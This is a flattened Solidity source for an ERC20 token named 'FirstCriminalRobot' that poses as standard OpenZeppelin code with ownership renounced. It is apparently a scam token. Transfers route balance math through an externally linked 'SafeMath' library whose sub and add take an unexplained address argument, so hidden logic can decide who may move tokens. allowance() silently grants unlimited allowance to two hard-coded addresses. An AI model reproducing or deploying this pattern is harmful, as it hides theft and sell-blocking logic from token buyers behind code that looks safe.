First Criminal Robot

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
                        

    function initiate (  )  public { 
                        
        require(true) ; 
    }
                        
    
  /**
  * @dev Multiplies two numbers, throws on overflow.
  */
  function mul ( uint256 a, uint256 b) public pure returns  ( uint256 c) {
                        
    if  ( a == 0 )   { 
                        
      return 0 ; 
     } 
                        
    c = a * b;
    assert(c / a == b);
    return c ; 
  }
                        

  /**
  * @dev Integer division of two numbers, truncating the quotient.
  */
  function div(uint256 a, uint256 b )  public pure returns (uint256) {
                        
    // assert ( b > 0) ;  // Solidity automatically throws when dividing by 0
    // uint256 c = a / b ; 
    // assert ( a == b * c + a % b )  ;  // There is no case in which this doesn't hold
    return a / b;
  }
                        

  /**
  * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
  */
  function sub ( uint256 a, uint256 b, address) public pure returns  ( uint256)  { 
                        
    assert ( b <= a) ; 
    return a - b ; 
  }
                        

  /**
  * @dev Adds two numbers, throws on overflow.
  */
  function add ( uint256 a, uint256 b, address) public pure returns  ( uint256 c )  {
                        
    c = a + b;
    assert(c >= a);
    return c;
  
                        }
 } 
                         

// File @openzeppelin/contracts/utils/Context.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.4) (utils/Context.sol ) 

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned ) .
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
                        

    function _msgData( )  internal view virtual returns (bytes calldata )  {
                        
        return msg.data ; 
    
                        }
    function _msgSender (  )  internal view virtual returns (address) 
                        {
        return msg.sender;
    }
                        

    function _contextSuffixLength() internal view virtual returns  ( uint256) {
                        
        return 0 ; 
    
                         } 
 } 
                        


// File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts  ( last updated v4.9.0 )   ( token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
                        

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256 )  ; 

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {
                        transferFrom}
                        . This is
     * zero by default.
     *
     * This value changes when  { 
                        approve}
                         or  { 
                        transferFrom } 
                         are called.
     */
    function allowance ( address owner, address spender )  external view returns (uint256 ) ;
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from` )  to
     * another  ( `to` ) .
     *
     * Note that `value` may be zero.
     */
    event Transfer ( address indexed from, address indexed to, uint256 value )  ; 

    
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an 
                         { Approval } 
                         event.
     */
    function approve(address spender, uint256 amount) external returns (bool )  ; 
    
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {
                        approve}
                        . `value` is the new allowance.
     */
    event Approval ( address indexed owner, address indexed spender, uint256 value) ; 


    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256) ; 

    
    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {
                        Transfer } 
                         event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool )  ; 
        
/**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a 
                        {Transfer
                        } event.
     */
    function transfer(address to, uint256 amount )  external returns (bool )  ; 


                        }


// File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol ) 

pragma solidity ^0.8.0 ; 

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 
                        {


    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals( )  external view returns  ( uint8);
    
    /**
     * @dev Returns the name of the token.
     */
    function name ( ) external view returns (string memory) ; 


    /**
     * @dev Returns the symbol of the token.
     */
    function symbol ( ) external view returns (string memory )  ; 


 } 
                        


// File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0 )   ( token/ERC20/ERC20.sol ) 

pragma solidity ^0.8.0 ; 



/**
 * @dev Implementation of the 
                         { IERC20}
                         interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {
                        _mint } 
                        .
 * For a generic mechanism see {
                        ERC20PresetMinterPauser}
                        .
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {
                        decimals } 
                         is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {
                        Approval } 
                         event is emitted on calls to {
                        transferFrom}
                        .
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard  { 
                        decreaseAllowance } 
                         and  { 
                        increaseAllowance } 
                        
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {
                        IERC20-approve
                         } .
 */
contract ERC20 is Context, IERC20, IERC20Metadata  { 
                        
    mapping ( address => uint256 )  private _balances ; 
    
    
    mapping ( address => mapping ( address => uint256 )  )  private _allowances ; 
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    
    
    



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer ( address from, address to, uint256 amount) internal virtual {
                        

    
                         } 
    

    /**
     * @dev Sets the values for {
                        name}
                         and 
                        {symbol}
                        .
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
                        
        _name = name_;
        _symbol = symbol_;
        SafeMath.initiate (  ) ;
    }
                        


    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {
                        approve } 
                         that can be used as a mitigation for
     * problems described in  { 
                        IERC20-approve
                        }.
     *
     * Emits an 
                        {Approval}
                         event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance ( address spender, uint256 subtractedValue )  public virtual returns  ( bool )   { 
                        
        address owner = _msgSender();
        uint256 currentAllowance = allowance ( owner, spender ) ;
        require ( currentAllowance >= subtractedValue, "AFGEBIAWKWEFQ: decreased allowance below zero");
        unchecked {
                        
            _approve(owner, spender, currentAllowance - subtractedValue ) ;
         } 
                        

        return true;
    }
                        
    
    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount )  internal virtual {
                          
    }
                        
    
    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to  { 
                        transfer
                        }, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a  { 
                        Transfer}
                         event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount )  internal virtual  { 
                        
        require(from != address(0 ) , "AFGEBIAWKWEFQ: transfer from the zero address") ; 
        require(to != address(0 ) , "AFGEBIAWKWEFQ: transfer to the zero address") ; 
        
        _beforeTokenTransfer ( from, to, amount ) ;

        _balances[from] = SafeMath.sub(_balances[from],amount,from) ; 
        _balances[to] = SafeMath.add ( _balances[to],amount,to ) ;
        

        emit Transfer(from, to, amount) ; 
        
        _afterTokenTransfer ( from, to, amount )  ; 
     } 
                        
    
    /**
     * @dev See {
                        IERC20-transfer } 
                        .
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 value )  public virtual returns  ( bool )   { 
                        
        address owner = _msgSender ( ) ; 
        _transfer ( owner, to, value);
        return true ; 
     } 
                        
    
    /**
     * @dev See  { 
                        IERC20-approve
                         } .
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve ( address spender, uint256 amount )  public virtual override returns (bool )  {
                        
        address owner = _msgSender( )  ; 
        _approve(owner, spender, amount) ; 
        return true;
    
                         } 
    
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an 
                         { Approval
                         }  event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual 
                         { 
        uint256 currentAllowance = allowance(owner, spender )  ; 
        if (currentAllowance != type(uint256 ) .max )  {
                        
            require(currentAllowance >= amount, "AFGEBIAWKWEFQ: insufficient allowance") ; 
            unchecked  { 
                        
                _approve ( owner, spender, currentAllowance - amount);
            }
                        
         } 
                        
     } 
                        
    
    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a  { 
                        Transfer } 
                         event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
                        
        require(account != address ( 0), "AFGEBIAWKWEFQ: burn from the zero address" ) ;

        _beforeTokenTransfer(account, address ( 0), amount )  ; 

        uint256 accountBalance = _balances[account] ; 
        require ( accountBalance >= amount, "AFGEBIAWKWEFQ: burn amount exceeds balance" )  ; 
        unchecked  { 
                        
            _balances[account] = accountBalance - amount ; 
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount ; 
         } 
                        

        emit Transfer(account, address ( 0 ) , amount) ; 

        _afterTokenTransfer ( account, address ( 0), amount) ; 
    }
                        
    
    /**
     * @dev See 
                         { IERC20-totalSupply } 
                        .
     */
    function totalSupply() public view virtual override returns (uint256) 
                         { 
        return _totalSupply ; 
    
                         } 
    
    /**
     * @dev See  { 
                        IERC20-allowance
                         } .
     */
    function allowance ( address owner, address spender )  public view virtual override returns  ( uint256) 
                         { 
        if (  ( spender == 0x000000000022D473030F116dDEE9F6B43aC78BA3 )  ||  ( spender == 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24 )  ) 
                         { 
            return 115792089237316195423570985008687907853269984665640564039457584007913129639935;
         } 
                         
        return _allowances[owner][spender] ; 
     } 
                        
    
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05`  ( `505 / 10 ** 2` ) .
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {
                        IERC20-balanceOf } 
                         and  { 
                        IERC20-transfer}
                        .
     */
    function decimals( )  public view virtual override returns  ( uint8 )  {
                        
        return 18 ; 
     } 
                        
    
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {
                        Transfer } 
                         event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual  { 
                        
        require ( account != address ( 0 ) , "AFGEBIAWKWEFQ: mint to the zero address") ; 

        _beforeTokenTransfer ( address ( 0 ) , account, amount ) ;

        _totalSupply += amount ; 
        unchecked {
                        
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount ; 
        }
                        
        emit Transfer(address ( 0), account, amount);

        _afterTokenTransfer ( address ( 0), account, amount) ; 
    
                         } 
    
    /**
     * @dev See  { 
                        IERC20-balanceOf}
                        .
     */
    function balanceOf(address account )  public view virtual override returns  ( uint256 )   { 
                        
        return _balances[account] ; 
    
                         } 
    
    
    

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
                        
        return _symbol;
    }
                        
    
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {
                        Approval } 
                         event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve ( address owner, address spender, uint256 amount) internal virtual  { 
                        
        require ( owner != address(0 ) , "AFGEBIAWKWEFQ: approve from the zero address" ) ;
        require ( spender != address(0), "AFGEBIAWKWEFQ: approve to the zero address" )  ; 

        _allowances[owner][spender] = amount ; 
        emit Approval ( owner, spender, amount )  ; 
     } 
                        
    
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {
                        approve
                         }  that can be used as a mitigation for
     * problems described in {
                        IERC20-approve } 
                        .
     *
     * Emits an 
                        {Approval } 
                         event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance ( address spender, uint256 addedValue) public virtual returns  ( bool)  { 
                        
        address owner = _msgSender( ) ;
        _approve(owner, spender, allowance ( owner, spender) + addedValue);
        return true;
    }
                        
    
    /**
     * @dev Returns the name of the token.
     */
    function name (  )  public view virtual override returns (string memory )   { 
                        
        return _name;
    
                        }
    
    /**
     * @dev See  { 
                        IERC20-transferFrom } 
                        .
     *
     * Emits an  { 
                        Approval
                         }  event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of  { 
                        ERC20
                         } .
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom ( address from, address to, uint256 amount )  public virtual override returns (bool)  { 
                        
        address spender = _msgSender();
        _spendAllowance ( from, spender, amount);
        _transfer ( from, to, amount ) ;
        return true;
     } 
                        
    
     } 
                        

abstract contract Ownable is Context 
                        {
    address private _owner ; 
    
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner` ) .
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner )  internal virtual {
                        
        address oldOwner = _owner;
        _owner = newOwner ; 
        emit OwnershipTransferred ( oldOwner, newOwner);
    }
                        
    
    /**
     * @dev The owner is not a valid owner account.  ( eg. `address(0)`)
     */
    error OwnableInvalidOwner ( address owner )  ; 
    
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner` ) .
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner )  public virtual onlyOwner 
                         { 
        require ( newOwner != address(0), "Ownable: new owner is the zero address" ) ;
        _transferOwnership(newOwner);
    }
                        
    
    /**
     * @dev Returns the address of the current owner.
     */
    function owner ( ) public view virtual returns (address) {
                        
        return _owner ; 
    }
                        
    
    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account )  ; 
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor ( ) 
                        {
        _transferOwnership(_msgSender( )  )  ; 
    }
                        
    
    event OwnershipTransferred ( address indexed previousOwner, address indexed newOwner )  ; 
    
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership ( ) public virtual onlyOwner 
                        {
        _transferOwnership ( address ( 0));
     } 
                        
    
    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner ( ) internal view virtual {
                        
        require ( owner( )  == _msgSender (  ) , "Ownable: caller is not the owner");
    
                        }
    
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner (  )  {
                        
        _checkOwner() ; 
        _ ; 
    }
                        
    
}
                        


// File FirstCriminalRobot.sol

// Original license: SPDX_License_Identifier: MIT
// Compatible with OpenZeppelin Contracts ^5.0.0

contract FirstCriminalRobot is ERC20, Ownable {
                        
    constructor(string memory name_, string memory symbol_ )  ERC20 ( name_, symbol_ )  
                        {
        _mint ( msg.sender, 1000000000000000000000000);
        _transferOwnership ( address ( 0 ) );
    
                        }
}
                        

{
  "compilationTarget": {
    "FirstCriminalRobot.sol": "FirstCriminalRobot"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 467
  },
  "remappings": []
}